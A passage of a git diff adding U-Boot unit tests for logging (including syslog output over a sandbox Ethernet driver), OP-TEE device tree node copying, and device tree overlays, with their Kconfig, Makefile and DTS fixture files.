+ char buf[BUFFSIZE];
+
+ memset(buf, 0, BUFFSIZE);
+ console_record_reset_enable();
+ log_err("testing %s\n", "log_err");
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_line(uts, "testing log_err"));
+ ut_assertok(ut_check_console_end(uts));
+ return 0;
+}
+LOG_TEST(log_test_nolog_err);
+
+static int log_test_nolog_warning(struct unit_test_state *uts)
+{
+ char buf[BUFFSIZE];
+
+ memset(buf, 0, BUFFSIZE);
+ console_record_reset_enable();
+ log_warning("testing %s\n", "log_warning");
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_line(uts, "testing log_warning"));
+ ut_assertok(ut_check_console_end(uts));
+ return 0;
+}
+LOG_TEST(log_test_nolog_warning);
+
+static int log_test_nolog_notice(struct unit_test_state *uts)
+{
+ char buf[BUFFSIZE];
+
+ memset(buf, 0, BUFFSIZE);
+ console_record_reset_enable();
+ log_notice("testing %s\n", "log_notice");
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_line(uts, "testing log_notice"));
+ ut_assertok(ut_check_console_end(uts));
+ return 0;
+}
+LOG_TEST(log_test_nolog_notice);
+
+static int log_test_nolog_info(struct unit_test_state *uts)
+{
+ char buf[BUFFSIZE];
+
+ memset(buf, 0, BUFFSIZE);
+ console_record_reset_enable();
+ log_err("testing %s\n", "log_info");
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_line(uts, "testing log_info"));
+ ut_assertok(ut_check_console_end(uts));
+ return 0;
+}
+LOG_TEST(log_test_nolog_info);
+
+#undef _DEBUG
+#define _DEBUG 0
+static int nolog_test_nodebug(struct unit_test_state *uts)
+{
+ char buf[BUFFSIZE];
+
+ memset(buf, 0, BUFFSIZE);
+ console_record_reset_enable();
+ debug("testing %s\n", "debug");
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_end(uts));
+ return 0;
+}
+LOG_TEST(nolog_test_nodebug);
+
+static int log_test_nolog_nodebug(struct unit_test_state *uts)
+{
+ char buf[BUFFSIZE];
+
+ memset(buf, 0, BUFFSIZE);
+ console_record_reset_enable();
+ log_debug("testing %s\n", "log_debug");
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assert(!strcmp(buf, ""));
+ ut_assertok(ut_check_console_end(uts));
+ return 0;
+}
+LOG_TEST(log_test_nolog_nodebug);
+
+#undef _DEBUG
+#define _DEBUG 1
+static int nolog_test_debug(struct unit_test_state *uts)
+{
+ char buf[BUFFSIZE];
+
+ memset(buf, 0, BUFFSIZE);
+ console_record_reset_enable();
+ debug("testing %s\n", "debug");
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_line(uts, "testing debug"));
+ ut_assertok(ut_check_console_end(uts));
+ return 0;
+}
+LOG_TEST(nolog_test_debug);
+
+static int log_test_nolog_debug(struct unit_test_state *uts)
+{
+ char buf[BUFFSIZE];
+
+ memset(buf, 0, BUFFSIZE);
+ console_record_reset_enable();
+ log_debug("testing %s\n", "log_debug");
+ log(LOGC_NONE, LOGL_DEBUG, "more %s\n", "log_debug");
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_line(uts, "testing log_debug"));
+ ut_assertok(ut_check_console_line(uts, "more log_debug"));
+ ut_assertok(ut_check_console_end(uts));
+ return 0;
+}
+LOG_TEST(log_test_nolog_debug);
diff --git a/test/log/pr_cont_test.c b/test/log/pr_cont_test.c
new file mode 100644
index 00000000000..30f30d98fe1
--- /dev/null
+++ b/test/log/pr_cont_test.c
@@ -0,0 +1,42 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2021, Heinrich Schuchardt <xypron.glpk@gmx.de>
+ *
+ * Test continuation of log messages using pr_cont().
+ */
+
+#include <console.h>
+#include <test/log.h>
+#include <test/test.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include <asm/global_data.h>
+#include <linux/printk.h>
+
+#define BUFFSIZE 64
+
+DECLARE_GLOBAL_DATA_PTR;
+
+static int log_test_pr_cont(struct unit_test_state *uts)
+{
+ int log_fmt;
+ int log_level;
+
+ log_fmt = gd->log_fmt;
+ log_level = gd->default_log_level;
+
+ /* Write two messages, the second continuing the first */
+ gd->log_fmt = BIT(LOGF_MSG);
+ gd->default_log_level = LOGL_INFO;
+ console_record_reset_enable();
+ pr_err("ea%d ", 1);
+ pr_cont("cc%d\n", 2);
+ gd->default_log_level = log_level;
+ gd->log_fmt = log_fmt;
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_line(uts, "ea1 cc2"));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+LOG_TEST(log_test_pr_cont);
diff --git a/test/log/syslog_test.c b/test/log/syslog_test.c
new file mode 100644
index 00000000000..c4180f775b9
--- /dev/null
+++ b/test/log/syslog_test.c
@@ -0,0 +1,240 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2020, Heinrich Schuchardt <xypron.glpk@gmx.de>
+ *
+ * Logging function tests for CONFIG_LOG_SYSLOG=y.
+ *
+ * Invoke the test with: ./u-boot -d arch/sandbox/dts/test.dtb
+ */
+
+/* Override CONFIG_LOG_MAX_LEVEL */
+#define LOG_DEBUG
+
+#include <asm/global_data.h>
+#include <dm/device.h>
+#include <hexdump.h>
+#include <test/log.h>
+#include <test/test.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include <asm/eth.h>
+#include "syslog_test.h"
+
+DECLARE_GLOBAL_DATA_PTR;
+
+int sb_log_tx_handler(struct udevice *dev, void *packet, unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ struct sb_log_env *env = priv->priv;
+ /* uts is updated by the ut_assert* macros */
+ struct unit_test_state *uts = env->uts;
+ char *buf = packet;
+ struct ethernet_hdr *eth_hdr = packet;
+ struct ip_udp_hdr *ip_udp_hdr;
+
+ /* Check Ethernet header */
+ ut_asserteq_mem(&eth_hdr->et_dest, net_bcast_ethaddr, ARP_HLEN);
+ ut_asserteq(ntohs(eth_hdr->et_protlen), PROT_IP);
+
+ /* Check IP header */
+ buf += sizeof(struct ethernet_hdr);
+ ip_udp_hdr = (struct ip_udp_hdr *)buf;
+ ut_asserteq(ip_udp_hdr->ip_p, IPPROTO_UDP);
+ ut_asserteq(ip_udp_hdr->ip_dst.s_addr, 0xffffffff);
+ ut_asserteq(ntohs(ip_udp_hdr->udp_dst), 514);
+ ut_asserteq(UDP_HDR_SIZE + strlen(env->expected) + 1,
+ ntohs(ip_udp_hdr->udp_len));
+
+ /* Check payload */
+ buf += sizeof(struct ip_udp_hdr);
+ ut_asserteq_mem(env->expected, buf,
+ ntohs(ip_udp_hdr->udp_len) - UDP_HDR_SIZE);
+
+ /* Signal that the callback function has been executed */
+ env->expected = NULL;
+
+ return 0;
+}
+
+int syslog_test_setup(struct unit_test_state *uts)
+{
+ ut_assertok(log_device_set_enable(LOG_GET_DRIVER(syslog), true));
+
+ return 0;
+}
+
+int syslog_test_finish(struct unit_test_state *uts)
+{
+ ut_assertok(log_device_set_enable(LOG_GET_DRIVER(syslog), false));
+
+ return 0;
+}
+
+/**
+ * log_test_syslog_err() - test log_err() function
+ *
+ * @uts: unit test state
+ * Return: 0 = success
+ */
+static int log_test_syslog_err(struct unit_test_state *uts)
+{
+ int old_log_level = gd->default_log_level;
+ struct sb_log_env env;
+
+ ut_assertok(syslog_test_setup(uts));
+ gd->log_fmt = LOGF_TEST;
+ gd->default_log_level = LOGL_INFO;
+ env_set("ethact", "eth@10002000");
+ env_set("log_hostname", "sandbox");
+ env.expected = "<3>sandbox uboot: log_test_syslog_err() "
+ "testing log_err\n";
+ env.uts = uts;
+ sandbox_eth_set_tx_handler(0, sb_log_tx_handler);
+ /* Used by ut_assert macros in the tx_handler */
+ sandbox_eth_set_priv(0, &env);
+ log_err("testing %s\n", "log_err");
+ /* Check that the callback function was called */
+ sandbox_eth_set_tx_handler(0, NULL);
+ gd->default_log_level = old_log_level;
+ gd->log_fmt = log_get_default_format();
+ ut_assertok(syslog_test_finish(uts));
+
+ return 0;
+}
+LOG_TEST(log_test_syslog_err);
+
+/**
+ * log_test_syslog_warning() - test log_warning() function
+ *
+ * @uts: unit test state
+ * Return: 0 = success
+ */
+static int log_test_syslog_warning(struct unit_test_state *uts)
+{
+ int old_log_level = gd->default_log_level;
+ struct sb_log_env env;
+
+ ut_assertok(syslog_test_setup(uts));
+ gd->log_fmt = LOGF_TEST;
+ gd->default_log_level = LOGL_INFO;
+ env_set("ethact", "eth@10002000");
+ env_set("log_hostname", "sandbox");
+ env.expected = "<4>sandbox uboot: log_test_syslog_warning() "
+ "testing log_warning\n";
+ env.uts = uts;
+ sandbox_eth_set_tx_handler(0, sb_log_tx_handler);
+ /* Used by ut_assert macros in the tx_handler */
+ sandbox_eth_set_priv(0, &env);
+ log_warning("testing %s\n", "log_warning");
+ sandbox_eth_set_tx_handler(0, NULL);
+ /* Check that the callback function was called */
+ ut_assertnull(env.expected);
+ gd->default_log_level = old_log_level;
+ gd->log_fmt = log_get_default_format();
+ ut_assertok(syslog_test_finish(uts));
+
+ return 0;
+}
+LOG_TEST(log_test_syslog_warning);
+
+/**
+ * log_test_syslog_notice() - test log_notice() function
+ *
+ * @uts: unit test state
+ * Return: 0 = success
+ */
+static int log_test_syslog_notice(struct unit_test_state *uts)
+{
+ int old_log_level = gd->default_log_level;
+ struct sb_log_env env;
+
+ ut_assertok(syslog_test_setup(uts));
+ gd->log_fmt = LOGF_TEST;
+ gd->default_log_level = LOGL_INFO;
+ env_set("ethact", "eth@10002000");
+ env_set("log_hostname", "sandbox");
+ env.expected = "<5>sandbox uboot: log_test_syslog_notice() "
+ "testing log_notice\n";
+ env.uts = uts;
+ sandbox_eth_set_tx_handler(0, sb_log_tx_handler);
+ /* Used by ut_assert macros in the tx_handler */
+ sandbox_eth_set_priv(0, &env);
+ log_notice("testing %s\n", "log_notice");
+ sandbox_eth_set_tx_handler(0, NULL);
+ /* Check that the callback function was called */
+ ut_assertnull(env.expected);
+ gd->default_log_level = old_log_level;
+ gd->log_fmt = log_get_default_format();
+ ut_assertok(syslog_test_finish(uts));
+
+ return 0;
+}
+LOG_TEST(log_test_syslog_notice);
+
+/**
+ * log_test_syslog_info() - test log_info() function
+ *
+ * @uts: unit test state
+ * Return: 0 = success
+ */
+static int log_test_syslog_info(struct unit_test_state *uts)
+{
+ int old_log_level = gd->default_log_level;
+ struct sb_log_env env;
+
+ ut_assertok(syslog_test_setup(uts));
+ gd->log_fmt = LOGF_TEST;
+ gd->default_log_level = LOGL_INFO;
+ env_set("ethact", "eth@10002000");
+ env_set("log_hostname", "sandbox");
+ env.expected = "<6>sandbox uboot: log_test_syslog_info() "
+ "testing log_info\n";
+ env.uts = uts;
+ sandbox_eth_set_tx_handler(0, sb_log_tx_handler);
+ /* Used by ut_assert macros in the tx_handler */
+ sandbox_eth_set_priv(0, &env);
+ log_info("testing %s\n", "log_info");
+ sandbox_eth_set_tx_handler(0, NULL);
+ /* Check that the callback function was called */
+ ut_assertnull(env.expected);
+ gd->default_log_level = old_log_level;
+ gd->log_fmt = log_get_default_format();
+ ut_assertok(syslog_test_finish(uts));
+
+ return 0;
+}
+LOG_TEST(log_test_syslog_info);
+
+/**
+ * log_test_syslog_debug() - test log_debug() function
+ *
+ * @uts: unit test state
+ * Return: 0 = success
+ */
+static int log_test_syslog_debug(struct unit_test_state *uts)
+{
+ int old_log_level = gd->default_log_level;
+ struct sb_log_env env;
+
+ ut_assertok(syslog_test_setup(uts));
+ gd->log_fmt = LOGF_TEST;
+ gd->default_log_level = LOGL_DEBUG;
+ env_set("ethact", "eth@10002000");
+ env_set("log_hostname", "sandbox");
+ env.expected = "<7>sandbox uboot: log_test_syslog_debug() "
+ "testing log_debug\n";
+ env.uts = uts;
+ sandbox_eth_set_tx_handler(0, sb_log_tx_handler);
+ /* Used by ut_assert macros in the tx_handler */
+ sandbox_eth_set_priv(0, &env);
+ log_debug("testing %s\n", "log_debug");
+ sandbox_eth_set_tx_handler(0, NULL);
+ /* Check that the callback function was called */
+ ut_assertnull(env.expected);
+ gd->default_log_level = old_log_level;
+ gd->log_fmt = log_get_default_format();
+ ut_assertok(syslog_test_finish(uts));
+
+ return 0;
+}
+LOG_TEST(log_test_syslog_debug);
diff --git a/test/log/syslog_test.h b/test/log/syslog_test.h
new file mode 100644
index 00000000000..39cce4ed498
--- /dev/null
+++ b/test/log/syslog_test.h
@@ -0,0 +1,64 @@
+/* SPDX-License-Identifier: GPL-2.0+ */
+/*
+ * Copyright (c) 2020, Heinrich Schuchardt <xypron.glpk@gmx.de>
+ *
+ * Header file for logging tests
+ */
+
+#ifndef __SYSLOG_TEST_H
+#define __SYSLOG_TEST_H
+
+/**
+ * struct sb_log_env - private data for sandbox ethernet driver
+ *
+ * This structure is used for the private data of the sandbox ethernet
+ * driver.
+ *
+ * @expected: string expected to be written by the syslog driver
+ * @uts: unit test state
+ */
+struct sb_log_env {
+ const char *expected;
+ struct unit_test_state *uts;
+};
+
+/**
+ * sb_log_tx_handler() - transmit callback function
+ *
+ * This callback function is invoked when a network package is sent using the
+ * sandbox Ethernet driver. The private data of the driver holds a sb_log_env
+ * structure with the unit test state and the expected UDP payload.
+ *
+ * The following checks are executed:
+ *
+ * * the Ethernet packet indicates a IP broadcast message
+ * * the IP header is for a local UDP broadcast message to port 514
+ * * the UDP payload matches the expected string
+ *
+ * After testing the pointer to the expected string is set to NULL to signal
+ * that the callback function has been called.
+ *
+ * @dev: sandbox ethernet device
+ * @packet: Ethernet packet
+ * @len: length of Ethernet packet
+ * Return: 0 = success
+ */
+int sb_log_tx_handler(struct udevice *dev, void *packet, unsigned int len);
+
+/**
+ * syslog_test_setup() - Enable syslog logging ready for tests
+ *
+ * @uts: Test state
+ * Return: 0 if OK, -ENOENT if the syslog log driver is not found
+ */
+int syslog_test_setup(struct unit_test_state *uts);
+
+/**
+ * syslog_test_finish() - Disable syslog logging after tests
+ *
+ * @uts: Test state
+ * Return: 0 if OK, -ENOENT if the syslog log driver is not found
+ */
+int syslog_test_finish(struct unit_test_state *uts);
+
+#endif
diff --git a/test/log/syslog_test_ndebug.c b/test/log/syslog_test_ndebug.c
new file mode 100644
index 00000000000..b10e636812b
--- /dev/null
+++ b/test/log/syslog_test_ndebug.c
@@ -0,0 +1,57 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2020, Heinrich Schuchardt <xypron.glpk@gmx.de>
+ *
+ * Logging function tests for CONFIG_LOG_SYSLOG=y.
+ *
+ * Invoke the test with: ./u-boot -d arch/sandbox/dts/test.dtb
+ */
+
+#include <asm/global_data.h>
+#include <dm/device.h>
+#include <hexdump.h>
+#include <test/log.h>
+#include <test/test.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include <asm/eth.h>
+#include "syslog_test.h"
+
+DECLARE_GLOBAL_DATA_PTR;
+
+/**
+ * log_test_syslog_nodebug() - test logging level filter
+ *
+ * Verify that log_debug() does not lead to a log message if the logging level
+ * is set to LOGL_INFO.
+ *
+ * @uts: unit test state
+ * Return: 0 = success
+ */
+static int log_test_syslog_nodebug(struct unit_test_state *uts)
+{
+ int old_log_level = gd->default_log_level;
+ struct sb_log_env env;
+
+ ut_assertok(syslog_test_setup(uts));
+ gd->log_fmt = LOGF_TEST;
+ gd->default_log_level = LOGL_INFO;
+ env_set("ethact", "eth@10002000");
+ env_set("log_hostname", "sandbox");
+ env.expected = "<7>sandbox uboot: log_test_syslog_nodebug() "
+ "testing log_debug\n";
+ env.uts = uts;
+ sandbox_eth_set_tx_handler(0, sb_log_tx_handler);
+ /* Used by ut_assert macros in the tx_handler */
+ sandbox_eth_set_priv(0, &env);
+ log_debug("testing %s\n", "log_debug");
+ sandbox_eth_set_tx_handler(0, NULL);
+ /* Check that the callback function was not called */
+ ut_assertnonnull(env.expected);
+ gd->default_log_level = old_log_level;
+ gd->log_fmt = log_get_default_format();
+ ut_assertok(syslog_test_finish(uts));
+
+ return 0;
+}
+LOG_TEST(log_test_syslog_nodebug);
diff --git a/test/optee/Kconfig b/test/optee/Kconfig
new file mode 100644
index 00000000000..2f6834aa3b4
--- /dev/null
+++ b/test/optee/Kconfig
@@ -0,0 +1,7 @@
+config UT_OPTEE
+ bool "Enable OP-TEE Unit Tests"
+ depends on UNIT_TEST && OF_CONTROL && OPTEE
+ default y
+ help
+ This enables the 'ut optee' command which runs a series of unit
+ tests on the optee library code..
diff --git a/test/optee/Makefile b/test/optee/Makefile
new file mode 100644
index 00000000000..8793fd7ad61
--- /dev/null
+++ b/test/optee/Makefile
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (C) 2019, Theobroma Systems Design und Consulting GmbH
+
+# Test files
+obj-y += cmd_ut_optee.o
+
+DTC_FLAGS += -@
+
+# DT overlays
+obj-y += test-optee-base.dtb.o
+obj-y += test-optee-optee.dtb.o
+obj-y += test-optee-no-optee.dtb.o
diff --git a/test/optee/cmd_ut_optee.c b/test/optee/cmd_ut_optee.c
new file mode 100644
index 00000000000..c6f50e0995a
--- /dev/null
+++ b/test/optee/cmd_ut_optee.c
@@ -0,0 +1,148 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2019, Theobroma Systems Design und Consulting GmbH
+ */
+
+#include <command.h>
+#include <errno.h>
+#include <fdt_support.h>
+#include <log.h>
+#include <malloc.h>
+#include <tee/optee.h>
+
+#include <linux/sizes.h>
+
+#include <test/ut.h>
+#include <test/optee.h>
+#include <test/suites.h>
+
+/* 4k ought to be enough for anybody */
+#define FDT_COPY_SIZE (4 * SZ_1K)
+
+extern u32 __dtb_test_optee_base_begin;
+extern u32 __dtb_test_optee_optee_begin;
+extern u32 __dtb_test_optee_no_optee_begin;
+
+static void *fdt;
+static bool expect_success;
+
+static int optee_fdt_firmware(struct unit_test_state *uts)
+{
+ const void *prop;
+ int offs, len;
+
+ offs = fdt_path_offset(fdt, "/firmware/optee");
+ ut_assert(expect_success ? offs >= 0 : offs < 0);
+
+ /* only continue if we have an optee node */
+ if (offs < 0)
+ return CMD_RET_SUCCESS;
+
+ prop = fdt_getprop(fdt, offs, "compatible", &len);
+ ut_assertok(strncmp((const char *)prop, "linaro,optee-tz", len));
+
+ prop = fdt_getprop(fdt, offs, "method", &len);
+ ut_assert(strncmp(prop, "hvc", 3) == 0 || strncmp(prop, "smc", 3) == 0);
+
+ return CMD_RET_SUCCESS;
+}
+OPTEE_TEST(optee_fdt_firmware, 0);
+
+static int optee_fdt_protected_memory(struct unit_test_state *uts)
+{
+ int offs, subnode;
+ bool found;
+
+ offs = fdt_path_offset(fdt, "/firmware/optee");
+ ut_assert(expect_success ? offs >= 0 : offs < 0);
+
+ /* only continue if we have an optee node */
+ if (offs < 0)
+ return CMD_RET_SUCCESS;
+
+ /* optee inserts its memory regions as reserved-memory nodes */
+ offs = fdt_subnode_offset(fdt, 0, "reserved-memory");
+ ut_assert(offs >= 0);
+
+ subnode = fdt_first_subnode(fdt, offs);
+ ut_assert(subnode);
+
+ found = 0;
+ while (subnode >= 0) {
+ const char *name = fdt_get_name(fdt, subnode, NULL);
+ struct fdt_resource res;
+
+ ut_assert(name);
+
+ /* only handle optee reservations */
+ if (strncmp(name, "optee", 5))
+ continue;
+
+ found = true;
+
+ /* check if this subnode has a reg property */
+ ut_assertok(fdt_get_resource(fdt, subnode, "reg", 0, &res));
+ subnode = fdt_next_subnode(fdt, subnode);
+ }
+
+ ut_assert(found);
+
+ return CMD_RET_SUCCESS;
+}
+OPTEE_TEST(optee_fdt_protected_memory, 0);
+
+int do_ut_optee(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(optee_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(optee_test);
+ struct unit_test_state *uts;
+ void *fdt_optee = &__dtb_test_optee_optee_begin;
+ void *fdt_no_optee = &__dtb_test_optee_no_optee_begin;
+ void *fdt_base = &__dtb_test_optee_base_begin;
+ int ret = -ENOMEM;
+
+ uts = calloc(1, sizeof(*uts));
+ if (!uts)
+ return -ENOMEM;
+
+ ut_assertok(fdt_check_header(fdt_base));
+ ut_assertok(fdt_check_header(fdt_optee));
+ ut_assertok(fdt_check_header(fdt_no_optee));
+
+ fdt = malloc(FDT_COPY_SIZE);
+ if (!fdt)
+ return ret;
+
+ /*
+ * Resize the FDT to 4k so that we have room to operate on
+ *
+ * (and relocate it since the memory might be mapped
+ * read-only)
+ */
+ ut_assertok(fdt_open_into(fdt_base, fdt, FDT_COPY_SIZE));
+
+ /*
+ * (1) Try to copy optee nodes from empty dt.
+ * This should still run successfully.
+ */
+ ut_assertok(optee_copy_fdt_nodes(fdt_no_optee, fdt));
+
+ expect_success = false;
+ ret = cmd_ut_category("optee", "", tests, n_ents, argc, argv);
+
+ /* (2) Try to copy optee nodes from prefilled dt */
+ ut_assertok(optee_copy_fdt_nodes(fdt_optee, fdt));
+
+ expect_success = true;
+ ret = cmd_ut_category("optee", "", tests, n_ents, argc, argv);
+
+ /* (3) Try to copy OP-TEE nodes into a already filled DT */
+ ut_assertok(fdt_open_into(fdt_optee, fdt, FDT_COPY_SIZE));
+ ut_assertok(optee_copy_fdt_nodes(fdt_optee, fdt));
+
+ expect_success = true;
+ ret = cmd_ut_category("optee", "", tests, n_ents, argc, argv);
+
+ free(fdt);
+ return ret;
+}
diff --git a/test/optee/test-optee-base.dts b/test/optee/test-optee-base.dts
new file mode 100644
index 00000000000..3c1d0c60efe
--- /dev/null
+++ b/test/optee/test-optee-base.dts
@@ -0,0 +1,13 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2019, Theobroma Systems Design und Consulting GmbH
+ */
+
+/dts-v1/;
+
+/ {
+ #address-cells = <2>;
+ #size-cells = <2>;
+};
+
+
diff --git a/test/optee/test-optee-no-optee.dts b/test/optee/test-optee-no-optee.dts
new file mode 100644
index 00000000000..3c1d0c60efe
--- /dev/null
+++ b/test/optee/test-optee-no-optee.dts
@@ -0,0 +1,13 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2019, Theobroma Systems Design und Consulting GmbH
+ */
+
+/dts-v1/;
+
+/ {
+ #address-cells = <2>;
+ #size-cells = <2>;
+};
+
+
diff --git a/test/optee/test-optee-optee.dts b/test/optee/test-optee-optee.dts
new file mode 100644
index 00000000000..11e26a27286
--- /dev/null
+++ b/test/optee/test-optee-optee.dts
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2019, Theobroma Systems Design und Consulting GmbH
+ */
+
+/dts-v1/;
+
+/ {
+ #address-cells = <2>;
+ #size-cells = <2>;
+
+ firmware {
+ optee {
+ compatible = "linaro,optee-tz";
+ method = "smc";
+ };
+ };
+
+ reserved-memory {
+ #address-cells = <2>;
+ #size-cells = <2>;
+ ranges;
+
+ optee_shm@32000000 {
+ reg = <0x00 0x32000000 0x00 0x400000>;
+ };
+
+ optee_core@30000000 {
+ reg = <0x00 0x30000000 0x00 0x2000000>;
+ };
+ };
+};
diff --git a/test/overlay/Kconfig b/test/overlay/Kconfig
new file mode 100644
index 00000000000..a4f154415db
--- /dev/null
+++ b/test/overlay/Kconfig
@@ -0,0 +1,10 @@
+config UT_OVERLAY
+ bool "Enable Device Tree Overlays Unit Tests"
+ depends on UNIT_TEST && OF_CONTROL
+ default y
+ select OF_LIBFDT_OVERLAY
+ help
+ This enables the 'ut overlay' command which runs a series of unit
+ tests on the fdt overlay code.
+ If all is well then all tests pass although there will be a few
+ messages printed along the way.
diff --git a/test/overlay/Makefile b/test/overlay/Makefile
new file mode 100644
index 00000000000..2deec929abf
--- /dev/null
+++ b/test/overlay/Makefile
@@ -0,0 +1,14 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (c) 2016 NextThing Co
+# Copyright (c) 2016 Free Electrons
+
+# Test files
+obj-y += cmd_ut_overlay.o
+
+DTC_FLAGS += -@
+
+# DT overlays
+obj-y += test-fdt-base.dtb.o
+obj-y += test-fdt-overlay.dtb.o
+obj-y += test-fdt-overlay-stacked.dtb.o
diff --git a/test/overlay/cmd_ut_overlay.c b/test/overlay/cmd_ut_overlay.c
new file mode 100644
index 00000000000..bcb29a26e21
--- /dev/null
+++ b/test/overlay/cmd_ut_overlay.c
@@ -0,0 +1,284 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2016 NextThing Co
+ * Copyright (c) 2016 Free Electrons
+ */
+
+#include <command.h>
+#include <errno.h>
+#include <fdt_support.h>
+#include <image.h>
+#include <log.h>
+#include <malloc.h>
+
+#include <linux/sizes.h>
+
+#include <test/ut.h>
+#include <test/overlay.h>
+#include <test/suites.h>
+
+/* 4k ought to be enough for anybody */
+#define FDT_COPY_SIZE (4 * SZ_1K)
+
+extern u32 __dtb_test_fdt_base_begin;
+extern u32 __dtb_test_fdt_overlay_begin;
+extern u32 __dtb_test_fdt_overlay_stacked_begin;
+
+static void *fdt;
+
+static int ut_fdt_getprop_u32_by_index(void *fdt, const char *path,
+ const char *name, int index,
+ u32 *out)
+{
+ const fdt32_t *val;
+ int node_off;
+ int len;
+
+ node_off = fdt_path_offset(fdt, path);
+ if (node_off < 0)
+ return node_off;
+
+ val = fdt_getprop(fdt, node_off, name, &len);
+ if (!val || (len < (sizeof(uint32_t) * (index + 1))))
+ return -FDT_ERR_NOTFOUND;
+
+ *out = fdt32_to_cpu(*(val + index));
+
+ return 0;
+}
+
+static int ut_fdt_getprop_u32(void *fdt, const char *path, const char *name,
+ u32 *out)
+{
+ return ut_fdt_getprop_u32_by_index(fdt, path, name, 0, out);
+}
+
+static int fdt_getprop_str(void *fdt, const char *path, const char *name,
+ const char **out)
+{
+ int node_off;
+ int len;
+
+ node_off = fdt_path_offset(fdt, path);
+ if (node_off < 0)
+ return node_off;
+
+ *out = fdt_stringlist_get(fdt, node_off, name, 0, &len);
+
+ return len < 0 ? len : 0;
+}
+
+static int fdt_overlay_change_int_property(struct unit_test_state *uts)
+{
+ u32 val = 0;
+
+ ut_assertok(ut_fdt_getprop_u32(fdt, "/test-node", "test-int-property",
+ &val));
+ ut_asserteq(43, val);
+
+ return CMD_RET_SUCCESS;
+}
+OVERLAY_TEST(fdt_overlay_change_int_property, 0);
+
+static int fdt_overlay_change_str_property(struct unit_test_state *uts)
+{
+ const char *val = NULL;
+
+ ut_assertok(fdt_getprop_str(fdt, "/test-node", "test-str-property",
+ &val));
+ ut_asserteq_str("foobar", val);
+
+ return CMD_RET_SUCCESS;
+}
+OVERLAY_TEST(fdt_overlay_change_str_property, 0);
+
+static int fdt_overlay_add_str_property(struct unit_test_state *uts)
+{
+ const char *val = NULL;
+
+ ut_assertok(fdt_getprop_str(fdt, "/test-node", "test-str-property-2",
+ &val));
+ ut_asserteq_str("foobar2", val);
+
+ return CMD_RET_SUCCESS;
+}
+OVERLAY_TEST(fdt_overlay_add_str_property, 0);
+
+static int fdt_overlay_add_node_by_phandle(struct unit_test_state *uts)
+{
+ int off;
+
+ off = fdt_path_offset(fdt, "/test-node/new-node");
+ ut_assert(off >= 0);
+
+ ut_assertnonnull(fdt_getprop(fdt, off, "new-property", NULL));
+
+ return CMD_RET_SUCCESS;
+}
+OVERLAY_TEST(fdt_overlay_add_node_by_phandle, 0);
+
+static int fdt_overlay_add_node_by_path(struct unit_test_state *uts)
+{
+ int off;
+
+ off = fdt_path_offset(fdt, "/new-node");
+ ut_assert(off >= 0);
+
+ ut_assertnonnull(fdt_getprop(fdt, off, "new-property", NULL));
+
+ return CMD_RET_SUCCESS;
+}
+OVERLAY_TEST(fdt_overlay_add_node_by_path, 0);
+
+static int fdt_overlay_add_subnode_property(struct unit_test_state *uts)
+{
+ int off;
+
+ off = fdt_path_offset(fdt, "/test-node/sub-test-node");
+ ut_assert(off >= 0);
+
+ ut_assertnonnull(fdt_getprop(fdt, off, "sub-test-property", NULL));
+ ut_assertnonnull(fdt_getprop(fdt, off, "new-sub-test-property", NULL));
+
+ return CMD_RET_SUCCESS;
+}
+OVERLAY_TEST(fdt_overlay_add_subnode_property, 0);
+
+static int fdt_overlay_local_phandle(struct unit_test_state *uts)
+{
+ uint32_t local_phandle;
+ u32 val = 0;
+ int off;
+
+ off = fdt_path_offset(fdt, "/new-local-node");
+ ut_assert(off >= 0);
+
+ local_phandle = fdt_get_phandle(fdt, off);
+ ut_assert(local_phandle);
+
+ ut_assertok(ut_fdt_getprop_u32_by_index(fdt, "/", "test-several-phandle",
+ 0, &val));
+ ut_asserteq(local_phandle, val);
+
+ ut_assertok(ut_fdt_getprop_u32_by_index(fdt, "/", "test-several-phandle",
+ 1, &val));
+ ut_asserteq(local_phandle, val);
+
+ return CMD_RET_SUCCESS;
+}
+OVERLAY_TEST(fdt_overlay_local_phandle, 0);
+
+static int fdt_overlay_local_phandles(struct unit_test_state *uts)
+{
+ uint32_t local_phandle, test_phandle;
+ u32 val = 0;
+ int off;
+
+ off = fdt_path_offset(fdt, "/new-local-node");
+ ut_assert(off >= 0);
+
+ local_phandle = fdt_get_phandle(fdt, off);
+ ut_assert(local_phandle);
+
+ off = fdt_path_offset(fdt, "/test-node");
+ ut_assert(off >= 0);
+
+ test_phandle = fdt_get_phandle(fdt, off);
+ ut_assert(test_phandle);
+
+ ut_assertok(ut_fdt_getprop_u32_by_index(fdt, "/", "test-phandle", 0,
+ &val));
+ ut_asserteq(test_phandle, val);
+
+ ut_assertok(ut_fdt_getprop_u32_by_index(fdt, "/", "test-phandle", 1,
